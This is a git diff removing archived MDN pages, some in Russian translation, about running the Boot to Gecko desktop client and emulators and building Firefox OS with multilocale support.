-# Only turn this line on if you actually have a dev phone
-# you want to forward to. If you get crashes at startup,
-# make sure this line is commented.
-#ac_add_options --enable-b2g-ril</pre>
-<h3 id="Building">Building</h3>
-<p>Now we're ready to build the desktop client with the following command issued from the <code>mozilla-central</code> directory:</p>
-<pre>make -f client.mk
-</pre>
-<p>The built client will be placed in the <code>../build/dist</code> directory (based on the value you specify for <code>MOZ_OBJDIR</code> in the <code>mozconfig</code> file).</p>
-<h2 id="Running_the_desktop_client">Running the desktop client</h2>
-<p>By default the desktop client will show an empty screen because it doesn't know which web app to load initially as the system app. The collection of system apps and default apps that come with Firefox OS is called Gaia.</p>
-<h3 id="Downloading_Gaia">Downloading Gaia</h3>
-<p>To download Gaia for the first time, let's clone the source code repository on GitHub:</p>
-<pre> git clone https://github.com/mozilla-b2g/gaia</pre>
-<p>To update an already existing clone of Gaia, we can pull in the latest changes from GitHub:</p>
-<pre>cd gaia
-git pull
-</pre>
-<h3 id="Generating_a_profile">Generating a profile</h3>
-<p>Next we need to set up Gaia's apps for the desktop client. This includes packaging the Gaia apps in the same way like they would be installed on the device, as well as setting up the permissions for the privileged system apps. We do this by generating a profile. The following command will take care of that: The new profile contains a customized extension and other configuration needed to make B2G run properly. So do this in the <code>gaia</code> directory:</p>
-<pre>cd gaia
-make
-</pre>
-<p>This should create a <code>profile</code> directory below the <code>gaia</code> directory.</p>
-<h3 id="Running_on_Linux">Running on Linux</h3>
-<p>To run the desktop client against the Gaia profile we just generate, we simply invoke the <code>b2g</code> binary with the profile parameter. The binary will be located in the tarball we downloaded earlier or in the <code>../build/dist/bin</code> directory if we built the client ourselves.</p>
-<pre>.../b2g -profile gaia/profile
-</pre>
-<p>You may experience annoying rendering problems. To avoid them, add the following line to your <code>gaia/profile/prefs.js</code> file:</p>
-<pre>user_pref("layers.acceleration.disabled", true);
-</pre>
-<h3 id="Running_on_Mac">Running on Mac</h3>
-<p>On Mac, the command line is slightly more complicated due to the location of the <code>b2g</code> binary and the need for absolute paths when specifying the profile directory:</p>
-<pre>.../B2G.app/Contents/MacOS/b2g -profile /full/path/to/gaia/profile
-</pre>
-<h2 id="Command_line_options">Command line options</h2>
-<p>There are a number of command line options you can use to adjust the runtime experience while using the desktop client. You can get a list by using the <code>-help</code> option. This section covers some of the particularly interesting ones.</p>
-<h3 id="option-screen" name="option-screen">Specifying the screen size</h3>
-<p>You can specify the screen size of the device you want to simulate using the <code>--screen</code> option:</p>
-<pre>b2g --screen=<em>&lt;width&gt;</em>x<em>&lt;height&gt;</em>[@<em>&lt;dpi&gt;</em>]</pre>
-<p>Where <em>&lt;width&gt;</em>, <em>&lt;height&gt;</em>, and <em>&lt;dpi&gt;</em> are fairly self-explanatory parameters: the width and height of the device's screen in pixels and the device resolution in DPI. For example:</p>
-<pre>b2g --screen=320x480
-b2g --screen=320x480@160
-</pre>
-<p>Optionally, you can specify certain devices by name to simulate their screen size and resolution:</p>
-<ul>
- <li><code>iphone</code></li>
- <li><code>ipad</code></li>
- <li><code>nexus_s</code></li>
- <li><code>galaxy_nexus</code></li>
- <li><code>galaxy_tab</code></li>
- <li><code>wildfire</code></li>
- <li><code>tattoo</code></li>
- <li><code>salsa</code></li>
- <li><code>chacha</code></li>
-</ul>
-<h3 id="option-console" name="option-console">Opening the JavaScript console</h3>
-<p>You can open the JavaScript console when launching the desktop B2G client by launching it from the command line with the <code>-jsconsole</code> flag. After building, just do:</p>
-<pre>.../b2g -jsconsole -profile <em>/path/to/your/profile</em></pre>
-<p>If you've installed the nightly build on a Mac, you can do the following:</p>
-<pre>/Applications/B2G.app/Contents/MacOS/b2g -jsconsole -profile <em>/path/to/your/profile</em></pre>
-<h3 id="option-runapp" name="option-runapp">Launching a specific application at startup</h3>
-<p>You can now specify an application to be launched automatically when b2g starts up in the desktop client. This is done as soon as the rest of the system is done loading up. To do this, just use the <code>--runapp</code> option, which takes as a parameter the name of the application to run. For example:</p>
-<pre> .../b2g -profile <em>/path/to/your/gaia/profile</em> --runapp email</pre>
-<p>Before looking for an app to launch, the specified name is normalized by converting it to all lower case and removing all dashes and spaces. This normalized name is then compared to similarly normalized names from the manifests of available apps' manifests.</p>
-<p>For example, the name of the email app is currently "E-mail", but <code>--runapp email</code> will work because of this normalization.</p>
-<p>If you specify the <code>--runapp</code> option without an argument, or with an empty argument, the b2g client will output to your terminal a list of the known applications as well as a brief usage message.</p>
-<div class="note">
- <p><strong>Note:</strong> Using the <code>--runapp</code> option disables the lock screen as a side effect and does not re-enable it. It's assumed that you won't use this command on a profile on which you will be testing the lock screen, or you will turn it back on manually. Feel free to contribute a patch to change this behavior if it's a problem.</p>
-</div>
-<h2 id="Usage_tips">Usage tips</h2>
-<p>This section provides a few helpful tips to using the B2G desktop client.</p>
-<ul>
- <li>The ESC key performs the same function as the "back" button.</li>
- <li>The Home key performs the same function as the "home" button; if you're on a Mac, the Home key is available as Fn+← (Fn + Left Arrow).</li>
-</ul>
-<h2 id="Next_steps">Next steps</h2>
-<p>Now that you have a desktop build of Boot to Gecko running, you can do testing, development, and other work in it:</p>
-<ul>
- <li><a href="/en/Mozilla/Boot_to_Gecko/Debugging_on_Boot_to_Gecko" title="en/Mozilla/Boot_to_Gecko/Debugging_on_Boot_to_Gecko">Debugging on Boot to Gecko</a></li>
- <li><a href="/en/Mozilla/Boot_to_Gecko/Testing_Boot_to_Gecko" title="en/Mozilla/Boot_to_Gecko/Testing_Boot_to_Gecko">Testing Boot to Gecko</a></li>
-</ul>
diff --git a/files/ru/archive/b2g_os/using_the_b2g_emulators/index.html b/files/ru/archive/b2g_os/using_the_b2g_emulators/index.html
deleted file mode 100644
index 09a0a77ecf..0000000000
--- a/files/ru/archive/b2g_os/using_the_b2g_emulators/index.html
+++ /dev/null
@@ -1,183 +0,0 @@
----
-title: Using the B2G emulators
-slug: Archive/B2G_OS/Using_the_B2G_emulators
-translation_of: Archive/B2G_OS/Using_the_B2G_emulators
----
-<p></p><section class="Quick_links" id="Quick_Links">
-
-<ol>
- <li class="toggle">
- <details>
- <summary>Build and install</summary>
- <ol>
- <li><strong><a href="/ru/docs/Mozilla/B2G_OS/Building_and_installing_B2G_OS">Build and install overview</a></strong></li>
- <li><a href="/ru/docs/Mozilla/B2G_OS/Building_and_installing_B2G_OS/B2G_OS_build_process_summary">B2G OS build process summary</a></li>
- <li><a href="/ru/docs/Mozilla/B2G_OS/B2G_OS_build_prerequisites">Build prerequisites</a></li>
- <li><a href="/ru/docs/Mozilla/B2G_OS/Preparing_for_your_first_B2G_build">Preparing for your first build</a></li>
- <li><a href="/ru/docs/Mozilla/B2G_OS/Building">Building B2G OS</a></li>
- <li><a href="/ru/docs/Mozilla/B2G_OS/Building_and_installing_B2G_OS/B2G_installer_add-on">B2G installer add-on</a></li>
- <li><a href="/ru/docs/Mozilla/B2G_OS/Building_and_installing_B2G_OS/Building_for_Flame_on_OS_X">Building B2G OS for Flame on Mac OS X</a></li>
- <li><a href="/ru/docs/Mozilla/B2G_OS/Choosing_how_to_run_Gaia_or_B2G">Choosing how to run Gaia or B2G OS</a></li>
- <li><a href="/ru/docs/Mozilla/B2G_OS/Building_and_installing_B2G_OS/Compatible_Devices">Compatible Devices</a></li>
- <li><a href="/ru/docs/Mozilla/B2G_OS/Installing_on_a_mobile_device">Installing B2G OS on a mobile device</a></li>
- <li><a href="/ru/docs/Mozilla/B2G_OS/Building_and_installing_B2G_OS/B2G_OS_update_packages">Creating and applying B2G OS update packages</a></li>
- <li><a href="/ru/docs/Mozilla/B2G_OS/Building/FOTA_community_builds">Building and installing FOTA community builds</a></li>
- <li><a href="/ru/docs/Mozilla/B2G_OS/Building_and_installing_B2G_OS/B2G_Build_Variables_Reference_Sheet">B2G build variables reference sheet</a></li>
- </ol>
- </details>
- </li>
- <li class="toggle">
- <details>
- <summary>Porting B2G OS</summary>
- <ol>
- <li><strong><a href="/ru/docs/Mozilla/B2G_OS/Porting_B2G_OS">Porting overview</a></strong></li>
- <li><a href="/ru/docs/Mozilla/B2G_OS/Porting_B2G_OS/basics">Porting basics</a></li>
- <li><a href="/ru/docs/Mozilla/B2G_OS/Porting_B2G_OS/Porting_on_CyanogenMod">Porting on CyanogenMod</a></li>
- </ol>
- </details>
- </li>
- <li class="toggle">
- <details>
- <summary>Developing Gaia</summary>
- <ol>
- <li><strong><a href="/ru/docs/Mozilla/B2G_OS/Developing_Gaia">Developing Gaia overview</a></strong></li>
- <li><a href="/ru/docs/Mozilla/B2G_OS/Developing_Gaia/Running_the_Gaia_codebase">Running the Gaia codebase</a></li>
- <li><a href="/ru/docs/Mozilla/B2G_OS/Mulet">Run Gaia on desktop using Mulet</a></li>
- <li><a href="/ru/docs/Mozilla/B2G_OS/Developing_Gaia/Understanding_the_Gaia_codebase">Understanding the Gaia codebase</a></li>
- <li><a href="/ru/docs/Mozilla/B2G_OS/Developing_Gaia/Making_Gaia_code_changes">Making Gaia code changes</a></li>
- <li><a href="/ru/docs/Mozilla/B2G_OS/Developing_Gaia/Testing_Gaia_code_changes">Testing Gaia code changes</a></li>
- <li><a href="/ru/docs/Mozilla/B2G_OS/Developing_Gaia/Submitting_a_Gaia_patch">Submitting a Gaia patch</a></li>
- <li><a href="/ru/docs/Mozilla/B2G_OS/Developing_Gaia/Build_System_Primer">Gaia build system primer</a></li>
- <li><a href="/ru/docs/Mozilla/B2G_OS/Developing_Gaia/Different_ways_to_run_Gaia">Different ways to run Gaia</a></li>
- <li><a href="/ru/docs/Mozilla/B2G_OS/Developing_Gaia/make_options_reference">Make options reference</a></li>
- <li><a href="/ru/docs/Mozilla/B2G_OS/Developing_Gaia/Gaia_tools_reference">Gaia tools reference</a></li>
- </ol>
- </details>
- </li>
- <li><a href="/ru/docs/Mozilla/B2G_OS/API">B2G OS APIs</a></li>
-</ol>
-</section><p></p>
-
-<div class="summary">
-<p><span class="seoSummary">This article provides a brief guide to some key things you should know when using the boot to Gecko emulators. This doesn't appear to be a complete user manual; instead, it simply tells you a few useful things that you might not learn on your own.</span></p>
-</div>
-
-<p>This guide assumes you've already built one of the emulators; if you haven't, rewind to <a href="/en-US/docs/Mozilla/Firefox_OS/Building_and_installing_Firefox_OS" title="en/Mozilla/Boot_to_Gecko/Building_and_installing_Boot_to_Gecko">Building and installing Firefox OS</a>!</p>
-
-<h2 id="About_the_B2G_emulatorsIConsole_1968b7d3-e3bf-4ceb-99e0-cb7c913317bb">About the B2G emulatorsIConsole {1968b7d3-e3bf-4ceb-99e0-cb7c913317bb}</h2>
-
-<p>There are two B2G emulators. The first, built by configuring for "emulator" when running <code>config.sh</code>, is an ARM device emulator. While this is slower than running directly on an x86 processor, it's more stable and a more accurate representation of what an actual device will work like. Configuring for "emulator-x86" when running <code>config.sh</code> gets you the x86 device emulator instead.</p>
-
-<div class="note"><strong>Note:</strong> In recent months the Automation Team has stopped using the x86 emulator due to stability issues. As such, there's a fair chance that things might just not work at all on emulator-x86. Use the ARM emulator unless you have a good reason to do otherwise.</div>
-
-<p>Once you've selected, configured, and built an emulator, the rest works the same way from a user standpoint, so the rest of this guide is common to both.</p>
-
-<div class="note"><strong>Note:</strong> On Mac OS X, the B2G emulator requires a Core 2 Duo processor or later; that is, a system that is compatible with Mac OS X 10.7 "Lion." You do not actually have to be running Lion, you just have to be compatible with it.</div>
-
-<h2 id="Starting_the_emulator">Starting the emulator</h2>
-
-<p>To start the B2G emulator, type the following command:</p>
-
-<pre>./run-emulator.sh
-</pre>
-
-<p>This will handle all the emulator startup tasks for you. Now wait patiently while the emulator starts up and Boot to Gecko boots up on it. It can take a couple of minutes, so be patient.</p>
-
-<h2 id="When_the_emulator_doesn't_work">When the emulator doesn't work</h2>
-
-<p>Sometimes the emulator fails to start up. Welcome to the bleeding edge of technology! Here are some tips for resolving problems.</p>
-
-<h3 id="Are_you_trying_to_work_in_a_VM">Are you trying to work in a VM?</h3>
-
-<p>VirtualBox and Parallels have problematic accelerated graphics support which causes a boot failure in the emulator, something about an OpenGL device. The device will start booting, fail, and restart in a loop, or start up, but then display nothing in the screen of the emulator. There is no solution unfortunately (there is a <a href="http://www.digitalmihailo.com/setting-up-ubuntu-12-04-virtual-machine-for-firefox-os-build/">workaround</a> for VirtualBox) - you need to use VMWare Player (Freeware), Workstation or Fusion. For VirtualBox - either do not install Guest Addons, or disable vboxvideo module.</p>
-
-<h3 id="Make_sure_the_adb_server_is_running">Make sure the adb server is running</h3>
-
-<p>This usually happens because the adb server that handles interacting with the emulated device is either not running or has malfunctioned. In this case you can usually see the following error message in the terminal where you launched the emulator:</p>
-
-<pre>emulator: control console listening on port 5554, ADB on port 5555
-emulator: can't connect to ADB server: Connection refused
-</pre>
-
-<div class="note">
-<p><strong>Note:</strong> If you're using the <code>adb</code> built by the B2G build system (which you probably are), it's located in the <code>$B2G/out/host/&lt;platform&gt;/bin</code> directory. On Mac, this is <code>$B2G/out/host/darwin-x86/bin</code>, for example.</p>
-</div>
-
-<p>Look to see if <code>adb</code> is even running by doing:</p>
-
-<pre>ps aux | grep adb
-</pre>
-
-<p>If it's there, do this to kill it, because it's probably not working correctly.</p>
-
-<pre>adb kill-server
-</pre>
-
-<p>If it's not there, do this:</p>
-
-<pre>adb start-server
-</pre>
-
-<p>Then try running the emulator again. If it's still not working, time to drop in on <a class="link-irc" href="irc://irc.mozilla.org/b2g" title="irc://irc.mozilla.org/b2g">#b2g</a> on irc.mozilla.org for help.</p>
-
-<h3 id="Erase_configuration_settings">Erase configuration settings</h3>
-
-<p>Sometimes, out of date configuration settings on your emulated device can cause it to misbehave. You can delete the IndexedDB database fix this, as follows:</p>
-
-<ol>
- <li>Make sure adb is running, as described in <a href="#Make_sure_the_adb_server_is_running">Make sure the adb server is running</a>.</li>
- <li>Start up the emulator.</li>
- <li>in the terminal on the host computer, go into the root code build directory for your emulator, then type: <code>out/host/&lt;platform&gt;/bin/adb -e shell</code>; on Mac, this would be <code>out/host/darwin-x86/bin/adb -e shell</code>.</li>
- <li>Now you're in the adb shell, and can execute shell commands on your emulated device. Let's stop B2G on the device: <code>stop b2g</code>.</li>
- <li>Delete the IndexedDB database: <code>rm -rf /data/local/indexedDB</code>.</li>
- <li>Restart B2G on the emulated device: <code>start b2g</code>.</li>
-</ol>
-
-<p>Hopefully at this point you will wind up in the Gaia interface and all will be well.</p>
-
-<h2 id="If_the_emulator_starts_but_the_screen_is_black_before_or_after_the_mozilla_technology_splash_screen">If the emulator starts but the screen is black before or after the "mozilla technology" splash screen</h2>
-
-<p>If this happens it could be a driver bug of the machine that is running the emulator. It has been observed on the Linux open source nouveau drivers. The easiest solution is to change the drivers on the machine. In the case of the nouveau driver it could be to install proprietary ("additional" in Ubuntu) drivers instead. In the case of on-board intel graphics chipsets, the default Linux open source driver may cause an emulator error 'eglMakeCurrent failed' which appears to be as it supports an OpenGL version less than the 2.0 needed for GPU emulation. The solution is to deactivate the GPU by editing <code>run-emulator.sh</code> script (this will be slower).</p>
-
-<h2 id="Configuring_the_emulator">Configuring the emulator</h2>
-
-<p>There are several options you can change to adjust the emulator to be more similar to the device you want to emulate. This section provides some basic information on how to do that. You can adjust the emulator's configuration by editing the <code>run-emulator.sh</code> script (or, ideally, a copy of it). Only a few of the most useful parameters are discussed here; you'll want to <a class="external" href="http://www.qemu.org/" title="http://www.qemu.org/">look at the qemu site</a> for details on the others.</p>
-
-<div class="note"><strong>Tip:</strong> Create one copy of <code>run-emulator.sh</code> for each device you want to simulate; this makes it easy to start up with different configurations.</div>
-
-<h3 id="Changing_skins">Changing skins</h3>
-
-<p>By default, the emulator starts up in HVGA mode; that's half-VGA, or 320x480 pixels. This is specified by the <code>-skin</code> parameter given to the emulator when started up. You can switch to a different display mode by editing the <code>run-emulator.sh</code> script (or, ideally, a copy of it). The provided skins are:</p>
-
-<ul>
- <li>HVGA (320x480)</li>
- <li>QVGA (240x320)</li>
- <li>WQVGA (240x400)</li>
- <li>WQVGA432 (240x432)</li>
- <li>WSVGA (1024x600)</li>
- <li>WVGA800 (480x800)</li>
- <li>WVGA854 (480x854)</li>
- <li>WXGA720 (1280x720)</li>
- <li>WXGA800 (1280x800)</li>
-</ul>
-
-<p>The skins are located in the <code>B2G/development/tools/emulator/skins</code> directory. It's worth noting that the format for skins is quite simple; if you look at them, they're simply folders filled with PNG files for the various user interface objects and a text file called <code>layout</code> which describes the layout of the interface and screen area. It's fairly simple to create custom skins if needed.</p>
-
-<h3 id="Changing_memory_size">Changing memory size</h3>
-
-<p>Another option you may wish or need to configure is the device memory size. The default is 512 MB; however, if the device you're emulating has more or less memory, it is likely important that you adjust this setting to match, to ensure your app will run on the baseline device you want to work on. To do this, change the value of the <code>-memory</code> parameter to the size you need in megabytes. Other than the 512 MB default, 256 MB and 1024 MB are likely ones you'll want to test with.</p>
-
-<p>To change the amount of emulated storage capacity for the device (that is, the storage space for local data, like the flash storage on a mobile phone or the hard drive on a computer), change the value of the <code>-partition-size</code> parameter. The default is 512 MB, but you can specify any size in MB you need in order to simulate the kind of device you need to test for.</p>
-
-<h3 id="Network_Connectivity">Network Connectivity</h3>
-
-<p>If for some reason you cannot connect your emulator to the internet you can run the following command from your commandline:</p>
-
-<pre>adb shell setprop net.dns1 10.0.2.3</pre>
-
-<p>If you run emulator-jb or emulator-kk, the command to set up the DNS server is different.<br>
- Please run the following commands:</p>
-
-<pre>adb shell ndc resolver setdefaultif eth0
-adb shell ndc resolver setifdns eth0 10.0.0.0 10.0.2.3
-</pre>
diff --git a/files/ru/archive/b2g_os/развитие_тем/index.html b/files/ru/archive/b2g_os/развитие_тем/index.html
deleted file mode 100644
index 1a933de279..0000000000
--- a/files/ru/archive/b2g_os/развитие_тем/index.html
+++ /dev/null
@@ -1,49 +0,0 @@
----
-title: Развитие Тем
-slug: Archive/B2G_OS/Развитие_Тем
-tags:
- - Firefox OS
- - Gaia
- - Тема
-translation_of: Archive/B2G_OS/Developing_Gaia
----
-<div class="summary">
-<p><span class="seoSummary">Тема в Firefox OS это пользовательский интерфейс и набор приложений по умолчанию: он включает в себя экран, блокировка главного экрана, функция дозвона и другие приложения. По существу, Темы являются набором сложных веб-приложений, которые работают на базе платформы Firefox OS. Данный цикл статей охватывает все, что вам нужно знать, чтобы принять участие в проекте Тема.</span></p>
-</div>
-
-<p>В этом руководстве мы постараемся рассказать эффективный способ создания Темы - мы имеем ввиду, что создавая новую Тему, вы можете сталкнуться с ошибками связанными с ней. Первый набор статей может быть проработаны по порядку, или вы можете перейти в соответствующий раздел, если вам нужно освежить память на определенном аспекте процесса.</p>
-
-<p>После этого, мы предоставим справочные материалы и информацию, охватывающую дополнительные темы.</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/7951/gaia-2.0-screen.png" style="float: right; height: 533px; padding: 0px 0px 30px 30px; width: 320px;"></p>
-
-<h2 id="Основы">Основы</h2>
-
-<ol>
- <li><a href="/ru/Firefox_OS/Developing_Gaia/Running_the_Gaia_codebase">Running the Gaia codebase</a></li>
- <li><a href="/ru/Firefox_OS/Developing_Gaia/Understanding_the_Gaia_codebase">Understanding the Gaia codebase</a></li>
- <li><a href="/ru/Firefox_OS/Developing_Gaia/Making_Gaia_code_changes">Making Gaia code changes</a></li>
- <li><a href="/ru/Firefox_OS/Developing_Gaia/Test_Gaia_code_changes">Testing Gaia code changes</a></li>
- <li><a href="/ru/Firefox_OS/Developing_Gaia/Submitting_a_Gaia_patch">Submitting a Gaia patch</a></li>
-</ol>
-
-<h2 id="Ссылки_на_сборки_Тем">Ссылки на сборки Тем</h2>
-
-<ul>
- <li><a href="/ru/Firefox_OS/Developing_Gaia/Build_System_Primer">Gaia build system primer</a></li>
- <li><a href="/ru/Firefox_OS/Developing_Gaia/Customizing_build-time_apps">Customizing build-time apps</a></li>
- <li><a href="/ru/Firefox_OS/Developing_Gaia/make_options_reference">Make options reference</a></li>
- <li><a href="/ru/Firefox_OS/Developing_Gaia/Gaia_tools_reference">Gaia tools reference</a></li>
-</ul>
-
-<h2 id="Смотрите_также">Смотрите также</h2>
-
-<ul>
- <li><a href="/ru/Firefox_OS/Developing_Firefox_OS/Filing_bugs_against_Firefox_OS">Filing bugs against Firefox OS</a></li>
- <li><a href="/ru/Firefox_OS/Platform/Gaia/Gaia_apps">Gaia apps guide</a></li>
- <li><a href="/it/Firefox_OS/Guida_rapida_allo_sviluppo_di_Gaia/Diversi_modi_per_eseguire_Gaia">Diversi modi per eseguire Gaia</a></li>
- <li><a href="/ru/Firefox_OS/Developing_Gaia/Market_customizations_guide">Market customizations guide</a></li>
- <li><a href="/ru/Firefox_OS/Developing_Gaia/Customizing_the_keyboard">Customizing the keyboard in Firefox OS apps</a></li>
- <li><a href="/ru/Firefox_OS/Developing_Gaia/Localizing_Firefox_OS">Localizing Firefox OS (guide for localizers)</a></li>
- <li><a href="/ru/Firefox_OS/Developing_Gaia/L10n_Best_Practices">L10n Best Practices (for developers)</a></li>
-</ul>
diff --git a/files/ru/archive/b2g_os/создание/index.html b/files/ru/archive/b2g_os/создание/index.html
deleted file mode 100644
index 94b9de2b2c..0000000000
--- a/files/ru/archive/b2g_os/создание/index.html
+++ /dev/null
@@ -1,410 +0,0 @@
----
-title: Сборка Firefox OS
-slug: Archive/B2G_OS/Создание
-tags:
- - B2G
- - Build documentation
- - Firefox OS
- - Guide
- - Документация построения
-translation_of: Archive/B2G_OS/Building
----
-<div></div>
-
-<div class="summary">
-<p>После того как вы запустили <a href="/en-US/docs/Mozilla/Firefox_OS/Firefox_OS_build_prerequisites" title="Mozilla/Firefox_OS/Firefox_OS_build_prerequisites">set up your build system</a> и выполняется ваш процесс <a href="/en-US/docs/Mozilla/Firefox_OS/Preparing_for_your_first_B2G_build" title="Mozilla/Firefox_OS/Preparing_for_your_first_B2G_build">initial pull and configure</a> кода, вы можете построить загрузки для Gecko. Это руководство объясняет, как.</p>
-</div>
-
-<h2 id="Обновление_кода">Обновление кода</h2>
-
-<p>Если это ваш не первый раз сборки B2G, вы, возможно, захотите, вытащить последний код, прежде чем начать собирать. Чтобы сделать это, вы должны обновить оба инструмента B2G и зависимости, используя следующие две команды:</p>
-
-<pre>git pull
-./repo sync -d
-</pre>
-
-<p>-d Опция включает различные проекты заголовка, для пересмотра Android манифеста (т.е. мейнстрим версию из хранилища по умолчанию). Это полезно, если вы сделали изменения в репозиториях (и связанные с этим изменения исходных), но вы хотите вернуться к главной версии временно. Это действительно придаст вашей постановке или рабочий каталог изменяется нетронутым (см <a href="http://stackoverflow.com/questions/11448864/what-is-the-usage-for-repo-sync-d-in-android-source-repository">the following SO question</a> для полного объяснения). Если вы не трогал исходный код, вы можете использовать команду нормально:</p>
-
-<pre>git pull
-./repo sync</pre>
-
-<p>Вы можете обновить конкретной цели make, указав её имя:</p>
-
-<pre>./repo sync gaia
-</pre>
-
-<p>У команда repo есть и другие варианты, которые могут быть интересны; repo help даст вам много информации.</p>
-
-<h2 id="Создание">Создание</h2>
-
-<div class="note">
-<p>Примечание: Перед созданием, вы можете настроить <code>.userconfig</code> фаил сборку. Увидеть <a href="/en-US/docs/Mozilla/Firefox_OS/Customization_with_the_.userconfig_file" title="Mozilla/Firefox_OS/Customization_with_the_.userconfig_file">Customization with the .userconfig file</a> для получения дополнительной информации.</p>
-</div>
-
-<p>Создать загрузочные для Gecko, просто используйте инструмент build.sh:</p>
-
-<pre>cd B2G
-./build.sh
-</pre>
-
-<p>Время для другого перерыва на кофе или, возможно, сон (особенно, если это ваш первый билд, оно займет около 30 минут на Core i7 с 8 Гб оперативной памяти). Как и в шаге настроить, на предыдущей странице, если вы используете каталог ранее извлеченных системных файлов Android, вы должны установить ANDROIDFS_DIR перед запуском <code>build.sh</code>.</p>
-
-<div class="note">
-<p>Примечание: Для более подробных инструкций по перепрограммированию новой сборки на телефон, читать <a href="/en-US/Firefox_OS/Installing_on_a_mobile_device">Installing Firefox OS on a mobile device</a>.</p>
-</div>
-
-<h3 id="Создание_специальных_модулей">Создание специальных модулей,</h3>
-
-<p>Если вы хотите построить только конкретный модуль, такой как Gecko, вы можете задать его по имени:</p>
-
-<pre>./build.sh gecko
-</pre>
-
-<p>Для того, чтобы обновить только одну заявку, вы можете построить только <code>gaia</code> модуль с помощью <code>BUILD_APP_NAME</code> переменная среды:</p>
-
-<pre>BUILD_APP_NAME=calendar ./build.sh gaia</pre>
-
-<p>Чтобы получить список модулей, которые вы можете построить, вы можете сделать:</p>
-
-<pre>./build.sh modules
-</pre>
-
-<h3 id="Установка_количества_процессорных_ядер_для_использования">Установка количества процессорных ядер для использования</h3>
-
-<p>По умолчанию, B2G построение сценария использует количество ядер вашей системмы, плюс два, как число параллельных задач для запуска. Вы можете изменить это, задав параметр -j при запуске <code>build.sh</code>. Это может быть удобно, если вы используете вашу систему для других вещей, а созданию на заднем плане нужно немного уменьшить нагрузку на процессор. Это также удобно, когда вы испытываете при построении проблеммы, это может сделать вывод Ошибки при чтении из процесса сборки легче, когда у вас есть только одна задача процесса в это время!</p>
-
-<p>Например, чтобы построить с помощью всего двух параллельных задач:</p>
-
-<pre>./build.sh -j2
-</pre>
-
-<p>Наиболее распространенным примером использования этого, заключается в предотвращении построения  работающего параллельно для остальных. Это делает вывод процесса намного проще для чтения, и позволяет легче разобраться с проблеммой сборки. Для этого:</p>
-
-<pre>./build.sh -j1
-</pre>
-
-<p> </p>
-
-<h2 id="Создание_multilocale">Создание multilocale</h2>
-
-<p>Чтобы создать multilocale сборки, выполните следующие действия:</p>
-
-<h4 id="Gaia">Gaia</h4>
-
-<ol>
- <li>Определите, какие Gaia языки использовать. Мы в настоящее время используюем <a href="https://github.com/mozilla-b2g/gaia/blob/master/locales/languages_dev.json"><code>locales/languages_dev.json</code></a> и <a href="https://github.com/mozilla-b2g/gaia/blob/master/locales/languages_all.json"><code>locales/languages_all.json</code></a> как наши Gaia языковые файлы.</li>
- <li>Клонирование соответствующие локали <a href="http://hg.mozilla.org/gaia-l10n">http://hg.mozilla.org/gaia-l10n</a> в каталоге; мы используем <code>gaia-l10n/</code>. You could use the <code>locales/</code> directory . Вы должны будете клонировать репо для каждого региона, указанного в файле языках.</li>
- <li>В вашей среде, установите <code>LOCALE_BASEDIR</code> к абсолютному пути каталога в шаге 2. Set <code>LOCALES_FILE</code>  к абсолютному пути к файлу на шаге 1.</li>
- <li>Кроме того, вы можете установить <code>GAIA_DEFAULT_LOCALE</code> Если вы хотите установить локаль по умолчанию.</li>
-</ol>
-
-<pre style="font-size: 12px;">cd gaia/locales/
-hg clone https://hg.mozilla.org/releases/gaia-l10n/v1_2/es</pre>
-
-<div>Установите переменные окружения:</div>
-
-<div> </div>
-
-<pre>export LOCALE_BASEDIR=$PWD/locales
-export LOCALES_FILE=$PWD/locales/languages_dev.json
-export GAIA_DEFAULT_LOCALE=es
-</pre>
-
-<p>И <code>languages-dev.json</code> может быть заменен самостоятельно <code>languages-own.json</code>  Путь, который мог быть сформирован как этот. Вы должны добавить запись на каждый репо клонированных в каталоге локали .:</p>
-
-<pre>{
- "en-US" : "English (US)",
- "es" : "Español"
-}
-</pre>
-
-<div>
-<p>Ошибка 884752(ноябрь 2013), чтобы добавить раскладки клавиатуры (если имеются в Gaia) используйте параметр                               GAIA_KEYBOARD_LAYOUTS</p>
-
-<p>Ошибка: https://bugzilla.mozilla.org/show_bug.cgi?id=884752</p>
-
-<p>Макеты: https://github.com/mozilla-b2g/gaia/tree/v1.2/keyboard/layouts</p>
-
-<p>Например, чтобы добавить на испанском и итальянском языках раскладку клавиатуры, выполните предыдущую команду добавления</p>
-
-<pre> GAIA_KEYBOARD_LAYOUTS=en,es,it</pre>
-
-<p><span style="line-height: 1.5;">В этот момент вы готовы подключать Gaia к телефону в первый раз. Подключите телефон и убедитесь, что удаленная отладка проверяется  Settings &gt; Device Information &gt; More Information &gt; Developer.  Вы должны сделать это один раз, для собственного телосложения Gaia прив включен благодаря REMOTE_DEBUGGER=1:</span></p>
-
-<pre> make clean &amp;&amp; make production LOCALES_FILE=locales/languages-own.json</pre>
-
-<div class="note">
-<p>Если вы хотите клонировать и / или обновить все поддерживаемые языки для той или иной отрасли, вы можете использовать <a href="https://gist.github.com/TheoChevalier/254461892d8bf118e1bc">this script</a></p>
-</div>
-
-<h4 id="Gecko">Gecko</h4>
-
-<ol>
- <li>Определите, какие Gecko языки добавить в использовании. Мы в настоящее время используем <a href="http://hg.mozilla.org/releases/mozilla-b2g18/file/default/b2g/locales/all-locales">b2g/locales/all-locales</a> как  Gecko язык файла.</li>
- <li>Клонирование соответствующих локали в каталоге; это может быть gecko <code>-l10n/</code> .
- <ul>
- <li>Для Mozilla-central, используйте <a href="http://hg.mozilla.org/l10n-central/">http://hg.mozilla.org/l10n-central/</a></li>
- <li>Для mozilla-aurora, используйте <a href="http://hg.mozilla.org/releases/l10n/mozilla-aurora/">http://hg.mozilla.org/releases/l10n/mozilla-aurora/</a></li>
- <li>Для mozilla-beta или mozilla-b2g18 или mozilla-b2g26_v1_2, используйте <a href="http://hg.mozilla.org/releases/l10n/mozilla-beta/">http://hg.mozilla.org/releases/l10n/mozilla-beta/</a></li>
- </ul>
- </li>
- <li>Клон <a href="http://hg.mozilla.org/build/compare-locales">compare-locales</a>. Если вы предпочитаете Git, пожалуйста, убедитесь, что используете RELEASE_0_9_7 tag.</li>
- <li>
- <p>В вашей среде, установите <code>L10NBASEDIR</code> к абсолютному пути каталога в шаге 2. Set <code>MOZ_CHROME_MULTILOCALE</code> в строку разделенных пробелами районов на шаге 1.</p>
-
- <p>Добавить <code>compare-locales/scripts</code> dir в вашем <code>PATH</code>, и <code>compare-locales/lib</code> на ваш <code>PYTHONPATH</code>.</p>
- Например,
-
- <pre>export L10NBASEDIR=$PWD/gecko-l10n
